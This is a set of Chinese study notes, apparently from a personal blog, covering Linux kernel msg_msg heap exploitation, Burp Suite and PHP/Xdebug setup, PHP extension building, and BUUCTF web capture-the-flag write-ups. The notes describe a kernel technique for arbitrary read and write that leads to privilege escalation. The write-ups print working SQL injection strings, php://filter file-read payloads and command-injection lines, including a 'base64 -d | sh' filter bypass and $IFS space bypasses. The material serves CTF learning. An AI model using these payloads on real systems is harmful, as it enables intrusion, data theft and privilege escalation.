static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
}
*/
if (IS_ERR(copy))
return PTR_ERR(copy);
}
//这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
//只是释放堆块,在后续的代码中有显示
//......
//开始从msg_queue中寻找合适的msg_msg
for (;;) {
//.....
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
//最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
//设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if (msgflg & MSG_COPY) {
//这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}
//....
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
//如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}
//这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz = msg_handler(buf, msg, bufsz);
//最后在这里进行相关堆块的释放
free_msg(msg);

return bufsz;
}

A.非堆块释放的数据读取

一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;

使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的

1
2
3
4
5
6
7
8
9
10
11
12
13
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
//正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
return ERR_PTR(-ENOSYS);
}
#endif

🔺注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERRORMSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:

image-20220512163536660

注意到红框的部分,获取rdi(msg)rsi(copy)对应的m_ts进行比较,而copym_ts是从用户传进来的想要获取消息的长度,如果小于实际的msgm_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。

B.释放堆块的消息读取

同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。

C.数据复制

不管什么标志位,只要不是MSG_NOERRORMSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放

1
2
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

(3)利用

越界读取

这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。

使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样

为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型

image-20220511113542467

可以看到单个msg_msgmsg_queue的管理下形成双向循环链表,所以如果我们通过msggetmsgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了

而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。

任意读取

完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了

由于我们的msg_msg消息的内存布局如下

5IcVxRaFQtg3HCW

相关读取源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//v4.9----ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}

所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。

那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。

这样完成之后,我们结合userfaultfdsetxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。

同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。

任意写

同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。

十、常见函数总结

printk:

1
printk(日志级别 "消息文本");

其中日志级别定义如下:

1
2
3
4
5
6
7
8
#defineKERN_EMERG "<0>"/*紧急事件消息,系统崩溃之前提示,表示系统不可用*/
#defineKERN_ALERT "<1>"/*报告消息,表示必须立即采取措施*/
#defineKERN_CRIT "<2>"/*临界条件,通常涉及严重的硬件或软件操作失败*/
#define KERN_ERR "<3>"/*错误条件,驱动程序常用KERN_ERR来报告硬件的错误*/
#define KERN_WARNING "<4>"/*警告条件,对可能出现问题的情况进行警告*/
#define KERN_NOTICE "<5>"/*正常但又重要的条件,用于提醒。常用于与安全相关的消息*/
#define KERN_INFO "<6>"/*提示信息,如驱动程序启动时,打印硬件信息*/
#define KERN_DEBUG "<7>"/*调试级别的消息*/

kmalloc:

1
static inline void *kmalloc(size_t size, gfp_t flags)

其中flags一般设置为GFP_KERNEL或者GFP_DMA,在堆题中一般就是

GFP_KERNEL模式,如下:

 |– 进程上下文,可以睡眠     GFP_KERNEL
 |– 进程上下文,不可以睡眠    GFP_ATOMIC
 |  |– 中断处理程序       GFP_ATOMIC
 |  |– 软中断          GFP_ATOMIC
 |  |– Tasklet         GFP_ATOMIC
 |– 用于DMA的内存,可以睡眠   GFP_DMA | GFP_KERNEL
 |– 用于DMA的内存,不可以睡眠  GFP_DMA |GFP_ATOMIC

具体可以看

Linux内核空间内存申请函数kmalloc、kzalloc、vmalloc的区别【转】 - sky-heaven - 博客园 (cnblogs.com)

kzmalloc类似,就是分配空间并且内存初始化为0

kfree:

这个就不多说了,就是简单的释放。

copy_from_user:

1
copy_from_user(void *to, const void __user *from, unsigned long n)

copy_to_user:

1
copy_to_user(void __user *to, const void *from, unsigned long n)

这两个就不讲了,顾名思义。

十一、其他知识

1.内核模块隐藏

不知道为啥,这里不成功,显示

Unknown symbol module_mutex (err 0)

参考:简易 Linux Rootkit 编写入门指北(一):模块隐藏与进程提权 - 安全客,安全资讯平台 (anquanke.com)

2.文件系统

(1)SRV4文件系统

也就是常见的cpio后缀的

image-20220330101231165

这个直接常用解包打包即可

(2)ext4文件系统

linux下挂载修改即可

1
2
3
4
5
sudo mount rootfs.ext4 mountpoint/
cd mountpoint/
#change somethin
cd ../
sudo umount ./mountpoint

常见的init启动脚本在/etc/init.d/rcS

3.设备操作

  • 获取设备信息

通过命令udevadm info -a -n /dev/tty获取相关设备信息

image-20220330171652853

  • 修改设备权限

当我们无法对设备进行操作时,可能是被设置了权限,可以通过/etc/udev/rules.d/下查看设置的一些规则

查看相关的内容,即指定相关设备后可以设置其类似用户组GROUP或者权限MODE等内容

image-20220330171405407

  • 读取

直接cat /dev/DEV_NAME相当于open_read_close这个设备

4.获取内核符号

当我们拿到一个bzImage或者无符号的vmlinux文件时,想要获取符号一般只有以下两种

(1)启动内核

我们利用busybox制作文件系统,然后使用qemu加载启动内核,启动之后在/proc/kallsyms保存所有地址,直接cat查看即可。

(2)使用工具

有个工具vmlinux-to-elf,这个还是很好使的,可以直接获得带符号的vmlinux文件

5.互斥锁和信号量

(1)互斥锁

用于线程互斥,一个互斥锁的加锁和解锁必须由同一个线程执行,是为了防止对一块内存的同时读写等问题。

1
2
3
4
5
6
7
8
#include<linux/mutex.h>
struct mutext mtx;
mutex_init(&mtx);//初始化互斥锁

if(mutex_lock_interruptible(&mtx))//-EINTR(退出进程)
return -ERESTARTSYS;//进入等待
//.....//
mutex_unlock(&mtx);

(2)信号量

用于线程同步,合理使用公共资源。比如一个资源只有5份,每当一个线程获取该资源时,信号量就减一,当5个线程都获得该资源时,信号量减为0,其他线程就不能再获取该资源,处于等待状态,防止死锁。

1
2
3
4
5
6
7
8
#include<linux/semaphore.h>
struct semaphore sema;

sema_init(&sema,1);//初始化信号量,将资源量设置为1
if(down_interruptible(&sema))//-EINTR(退出进程)
return -ERESTARTSYS;//进入等待
//......//
up(&sema)

6.系统调用使用

(1)传参约定

  • 32位:EBX、ECX、EDX、ESI、EDI、EBP
  • 64位:RDI、RSI、RDX、R10、R8、R9

Burpsuite使用

一、配置

1.配置浏览器代理

(1)安装

Edge安装插件Proxy SwitchyOmega

(3)设置

进入选项

image-20220109124055943

配置如下

image-20220109124123157

2.配置BurpSuite

Proxy->Options

image-20220109124203603

没有的可以点旁边的Add按钮添加。

二、使用

1.抓包

(1)Edge浏览器开启代理

image-20220109180624711

选中如图代理

然后继续点击网页

(2)Burpsuite开启

Burpsuit中

Proxy->Intercept处,如果点击如下按钮

image-20220109180945990

那么每接收一个包,BurpSuite都会拦截,需要点击Froward继续,或者丢弃Drop该包,页面才会继续加载。

然后到Target->Site map处,即可看到拦截的文件

image-20220109181204449

2.改包

(1)先抓包

首先浏览器开启代理,BurpSuite抓到包

image-20220111141339457

(2)发送到Repeater

然后将包发送到repeater

image-20220111141424655

在Repeater最新出现的一部分就是

image-20220111141531436

修改然后使用点击Go即可发送修改之后的包,Response接收反馈的包并解析

PHP环境搭建

一、调试搭建

🔺Windows版本

1.前置安装

phpstorm+phpStudy

这两个需要先装好,之后利用phpStudy中自带的xdebug来调试

2.phpStudy设置

(1)php版本

这里我的php选择的是如下

image-20220107105326110

(2)打开xdebug

单击设置->扩展组件,设置如下

image-20220107105424985

(3)修改php.ini

然后主界面设置->php.ini->单击对应版本,即可打开php.ini配置文件

image-20220107105552036

打开之后,在最下面的xdebug设置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
[Xdebug]
xdebug.idekey = PHPSTORM
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp

这里参考https://www.cnblogs.com/baocheng/p/5775938.html 相关的会更加详细。

主要是设置xdebug.remote_handlerxdebug.remote_portxdebug.remote_hostxdebug.profiler_enablexdebug.idekeyxdebug.remote_enable

(4)网站路径设置

主界面网站->管理->修改->根目录,然后设置为在phpStorm中存放php文件的目录,没有的可以直接创建一个

image-20220107111415751

(5)开启服务

phpStudy中开启对应的网站服务即可

image-20220107112835096

3.phpstorm设置

(1)PHP版本选择

版本选择之前我们的设置好的相关版本

image-20220107110300128

这里的CLI interpreter需要选择phpStudy中的php,点击旁边的...按钮,找到对应的php.exe添加即可,大多的路径如下

image-20220107110410950

(2)xdebug配置

打开phpstorm,打开setting->PHP->Debug,xdebug配置如下,主要是端口对应

image-20220107110012400

PHP->Debug->DBGp Proxy,进行相关设置

image-20220107110614445

(3)服务器端配置

setting->server

image-20220107110138638

没有的自行+号添加,名字自己定义

(4)配置php文件路径

Run->Edit Configurations

image-20220107110807337

然后添加对应的调试路径

image-20220107111003896

对应设置

image-20220107111151592

4.开始调试

然后在phpStorm中对应网站的目录下的文件即可下断点开始调试

(1)开始监听

image-20220107111554195

设置好调试环境,然后点旁边的电话,使其变成如下

image-20220107111631356

(2)调试

在文件中下断点,点击debug即可开始调试

image-20220107112446079

🔺Linux版本

1.前置安装

用的也是PHPSTORM和宝塔linux

2.宝塔linux设置

(1)安装xdebug

安装好PHP之后,设置安装PHP的拓展

image-20220113110140841

(2)配置php.ini

image-20220113110241556

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[XDebug]
; 允许远程 可以为 On 或者 1 都表示启用 , Off 和 0 表示关闭关闭
xdebug.remote_enable = On
; 远程主机的 IP 这里我们填写,固定的 127.0.0.1 这里写的是PHPSTORM所在的那台机器上的IP
xdebug.remote_host = 127.0.0.1
; 调试连接端口 请记住这个端口,后续会用到。此配置项默认值为 9000 ,但是通常 9000 端口被 fpm 占据 ,故更换端口。
; 另外,请在你服务器的控制面板和服务器防火墙中开放这个端口的进出站。
; 如果你是宝塔面板用户 请放行此端口。
xdebug.remote_port = 9001
; 接下来的值都是可选的,但是我推荐你使用
; 连接 IDE 的 Key,请记住他,可以自己自定义,主要用来过滤请求。
xdebug.idekey=PHPSTORM
xdebug.remote_handler=dbgp
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.profiler_enable=On

参照

Linux内网服务器+宝塔+Xdebug远程调试配置 – T1h2ua’s Blog

保存之后,重载一下配置

image-20220113110410355

(3)网站路径设置

宝塔Linux中点击网站,添加站点

image-20220113110540548

得到如下

image-20220113110610661

(4)开启服务

记得把对应的服务打开,nginx/apache和php

image-20220113110735466

(5)放行9001端口

image-20220113111553907

3.phpStorm设置

这里就都差不多,选择php版本,配置xdebug,配置Server,配置php文件路径,注意这里选取的端口为9001

image-20220113110926412

image-20220113111016050

image-20220113110938531

image-20220113111029912

image-20220113111210749

然后就可以调试了。

🔺注:

xdebug3.0以上的,配置有点变化,如下

1
2
3
4
5
6
7
8
9
10
11
[XDebug]
xdebug.mode = develop,debug
xdebug.start_with_request = default|default
;xdebug.start_with_request = yes ;当改为yes时所有请求都会走debug,不需要设置idekey
xdebug.client_host = 127.0.0.1
xdebug.client_port = 9001
xdebug.remote_handler = dbgp
xdebug.idekey = PHPSTORM
xdebug.cli_color = 2
xdebug.var_display_max_depth = 15
xdebug.var_display_max_data = 2048

二、数据库搭建

1.phpStudy设置

(1)创建数据库

设置数据库,没有就创建,鼠标碰到密码可以查看

image-20220109115051455

(2)打开MySQL数据库

image-20220109115216201

2.phpStorm设置

(1)设置

view->Tool Windows->databases

image-20220109115314160

然后创建一个连接

image-20220109115352472

image-20220109115418414

对应输入host,账号密码即可

image-20220109115447217

(2)查看控制

image-20220109115523944

view->tool windows->database之后,双击上面红框可以进入控制界面

image-20220109115615823

然后就正常了。

三、PHP模块搭建

1.创建模块模板

找到php源码目录

image-20220210174644261

然后使用ext_skel创建一个模板

1
./ext_skel --extname=helloworld

2.编译模块

随后进行编译,跳转到刚刚生成的模块文件夹路径/path_to_php_src/ext/helloworld,然后编译

1
2
/www/server/php/56/bin/phpize
./configure --with-php-config=/www/server/php/56/bin/php-config

这里需要指定一下--with-php-config,选择自己的php-config,当然如果本地的环境变量bin命令下直接有php-config也不用指定了,随后

1
make

这样就可以在当前目录下生成了

image-20220210175900511

其中helloworld.c即为创建的模板代码,但是不知道为什么5.6版本的编译完成后,不生成.so模块文件,可能是版本特性?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/* helloword extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */

/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;

ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

retval = strpprintf(0, "Hello %s", var);

RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */

/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif

🔺注:

需要注意的是,在php7.3以上,ext_skel这个shell变成了ext_skel.php,所以我们使用如下来创建

1
2
3
4
/www/server/php/73/bin/php ./ext_skel.php --ext helloword
/www/server/php/73/bin/phpize
./configure --prefix=/www/server/php/73/bin/php --with-php-config=/www/server/php/73/bin/php-config
make

3.加载模块

方法一:

直接make install,然后在对应的php.ini中添加extension=helloword.so

方法二:

复制modules下的helloworld.so模块到对应的php扩展目录

1
cp ./modules/helloword.so /www/server/php/73/lib/php/extensions/no-debug-non-zts-20180731/

同样也得在php.ini中添加extension

之后使用模板中函数测试即可

1
2
3
<?php
helloword_test1();
?>

如下即可成功

这个php拓展模块其实跟linux内核有点像

陪XX的WebBUU刷题(一)

一、EasySQL

🔺SQL注入登录

简单的SQL注入

1.查看网页源代码

image-20220106105755040

可以看到是check.php在对登录按钮进行操作,使用的方法是GET,加上题目提示是SQL注入,所以就直接尝试SQL注入。

2.注入原理

由于SQL注入中涉及单引号和双引号,且对字符串的处理基本都是单引号进行处理,检测一下,倘若我们使用双引号进行注入

1
check.php?username=aaa' or "1"="1&password=aaa' or "1"="1

那么出现如下错误

image-20220106110800649

那么采用单引号进行注入

1
check.php?username=aaa' or '1'='1&password=aaa' or '1'='1

之后即可成功

image-20220106142353692

二、[HCTF 2018]WarmUp

🔺文件包含漏洞

提示有source.php,访问一下看到源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "aaaa";
}
?>

emmm::checkFile函数返回True可以触发文件包含,这里简单调试一下就知道,由于mb_substrmb_strpos的使用,导致可以用file=source.php?xxxxx来进行绕过检测。

即最终可以执行到include("source.php?xxxxx")

然后查看hint.php,发现flagffffllllaaaagggg,那么即可触发文件包含漏洞,执行代码include("source.php?../../../../../../ffffllllaaaagggg")

这里比较有意思的一点是对于include函数的使用

1
2
include("xxxx.php?../../flag");
include("xxxx.php../../flag");

两个类似的代码,一个有?,一个没有,然后在Linux环境下,这两个代码都代表包含当前目录下的flag,但是在Windows环境下,有?的执行不成功,没有的可以执行成功,有点离谱。

当然,这个xxxx.php换成其他字符都可以。

三、[极客大挑战 2019]Havefun1

🔺简单查询

查看源代码,跳过css和style部分

可以看到注释部分的提示

image-20220107114730804

即当cat=dog时,就会输出Syc{cat_cat_cat},但是一般这都是作者给的提示,实际输出内容可能不是Syc{cat_cat_cat},所以先尝试一波

1
url/index.php?cat=dog

直接出flag了

image-20220107114926958

四、[ACTF2020 新生赛]Include

🔺PHP伪协议

1.前置探索

点击tips之后发现输出提示,获取到使用file协议的flag.php

image-20220107120937019

查看flag.php的网页源代码但是什么也没有

image-20220107121010226

之后尝试利用php的伪协议来读取flag.php的源代码

2.php伪协议利用

这个比较复杂,之后再专门总结一下,反正这里涉及了file,那么尝试用该协议的payload来读取

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

这里给出的是比较普遍性的,用base64来进行获取的,读取之后得到base64编码的一串字符

image-20220107121629962

3.base64解码

获取到上面的base64编码后,运用CyberChef解码即可得到flag

image-20220107121805266

五、[强网杯 2019]随便注1

🔺SQL注入+三种姿势

可以先用单引号判断是否存在SQL注入

1
/index.php?inject=1'

出现如下,出错则代表存在

image-20220107125314983

那么先查询存在的表

1
/index.php?inject=';show tables;#

发现有如下两个表

image-20220107162320203

然后分别查看一下对应的

1
/index.php?inject=';show columns from words;#

image-20220107162923778

1
/index.php?inject=';show columns from `1919810931114514`;#

image-20220107162957623

那么flag就在表1919810931114514中,注意查询数字表的时候需要加反引号`

解析words表

那么由于输入1,2会出现如下数据

image-20220107164211829

image-20220107164221323

这里的第二个数据段是字符型,那么就应该是在表words中,此时就大概是如下的表格

id data
1 hahahah
2 miaomiaomiao

解析1919810931114514

依据列大概猜测如下

flag
………..不知

这里select被过滤了,无法直接从表1919810931114514中获取所以尝试一下其他的解法。

1.解法一(改表)

修改表名字,使得保存flag的表1919810931114514名字变为表words,之后把flag字段变为data字段,添加id字段,输入1,2然后就可以打印出flag了。

(1)改名

1
/index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;#

(2)增添id字段

1
/index.php?inject=1'; alter table words add id int unsigned not Null auto_increment primary key;#

(3)修改flag为data字段

1
/index.php?inject=1';alert table words change flag data varchar(100);#

总的payload

1
/index.php?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alert table words change flag data varchar(100);#

最后输入1提交即可

2.解法二(open和handler)

利用open和handle关键字

1
/index.php?inject='; handler `1919810931114514` open as `a`; handler `a` read next;#

这样可以直接读出来表1919810931114514的所有内容

image-20220107171100441

3.解法三(MySQL的预处理)

利用预处理机制prepare和concat拼接获得select操作,之后execute来执行,这里好像不能小写,可以通过大写来绕过

1
2
/index.php?inject=';PREPARE st from concat('s','elect', ' * from `1919810931114514` 
');EXECUTE st;#

image-20220107171702374

六、[SUCTF 2019]EasySQL

涉及知识点有点多

七、[ACTF2020 新生赛]Exec

🔺命令执行+寻找flag

1.远程命令执行

一般这种ping的界面,都可能会涉及到命令执行

image-20220109120351450

那么直接尝试一下即可,ping一下本地回环地址

输入

1
127.0.0.1;pwd

image-20220109120428320

可以看到存在远程命令执行,那么就尝试找flag在哪,也就是一个路径搜索。

2.搜索flag路径

输入

1
127.0.0.1;ls

image-20220109120604954

那么去根目录找

输入

1
127.0.0.1;ls /

image-20220109120649283

可以看到flag,那么直接cat即可

1
127.0.0.1;cat /flag

得到flag

image-20220109120742963

八、[极客大挑战 2019]Secret File

🔺抓包+伪协议

1.前期探索

查看源代码,有如下文件,访问一下

image-20220109121055447

接着按照提示,但是直接跳转到了

image-20220109121144475

那么中间可能执行太快,这时候就需要抓包来看看具体是怎么执行的。

2.抓包

用BurpSuit抓包,发现有一个action.php,里面有个secr3t.php的提示

image-20220109183459387

访问一下secr3t.php

image-20220109183542434

提示放在了flag.php,访问之后发现什么也没有

image-20220109183616033

那么这里由于secr3t.php存在file的协议,所以可以尝试使用php伪协议获取flag.php的源代码

1
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20220109183730031

拿到CyberChef解密,得到flag

image-20220109183825033

九、[极客大挑战 2019]LoveSQL

十、[GXYCTF2019]Ping Ping Ping

🔺命令执行

1.前期探索

Ping提示+ip,应该是命令执行,直接ls试试

1
/?ip=127.0.0.1;ls

image-20220110200315404

发现flag,尝试cat

1
/?ip=127.0.0.1;cat flag.php

image-20220110200415489

2.绕过过滤

应该是过滤的空格

▲绕过空格:一般思路如下

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //其中那个1加其他的应该都行
<
<>
{cat,flag.php}
$20
$09(空字符)

参考[GXYCTF2019]Ping Ping Ping - 春告鳥 - 博客园 (cnblogs.com)

使用$IFS可以,但是又发现过滤了flag

image-20220110202147216

那么接下的解法就多种多样了。

解法一:拼接flag

1
/index.php?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$1$a$b

flag在注释里,查看网页源代码即可

image-20220111112715736

解法二:sh结合base64

▲linux自带base64和base32

由于linux的sh自带base64的加解密,所以我们可以传入base64的密文,然后利用linux的sh终端自带的base64解密功能进行解密,这样可以在一定程度上绕过很多过滤,另外base32也可以

(1)base64加密

使用CyberChef或者linux命令行都行

image-20220111113614306

image-20220111113634402

(2)base64解密

1
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

将之前加密的”cat flag.php”传给base64解密,然后sh执行

对应写在URL上即为

1
/index.php?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

解法三:linux内联执行

命令中会先执行反引号里的,然后将输入结果依次传递给其他命令进行执行

由于flag就在当前文件夹下,所以

1
2
cat `ls`;
#先执行ls输出 index.php 和 flag.php,之后将输入结果给到cat命令,相当于再执行 cat index.php;cat flag.php

对应URL为

1
/index.php?ip=127.0.0.1;cat$IFS$9`ls`

▲其他

此外命令执行有很多方法可以绕过,这里ban掉了很多,像<\等都是有可能

命令执行绕过的方法 - GLCC - 博客园 (cnblogs.com)

十一、[极客大挑战 2019]Knife

🔺一句话木马

依据提示以及如下的语句,猜测是一句话木马,密码为Syc

image-20220111144925504

使用蚁剑连接

蚁剑教程:获取蚁剑 · 语雀 (yuque.com)

然后直接复制URL进行连接即可,右键->添加数据

image-20220111145119474

进去之后进入根目录寻找flag

image-20220111145143729

image-20220111145208831

十二、[极客大挑战 2019]Http

🔺使用BurpSuit改包头

1.前期探索

直接源代码,搜索.php,发现一个Secrect.php

image-20220111141159974

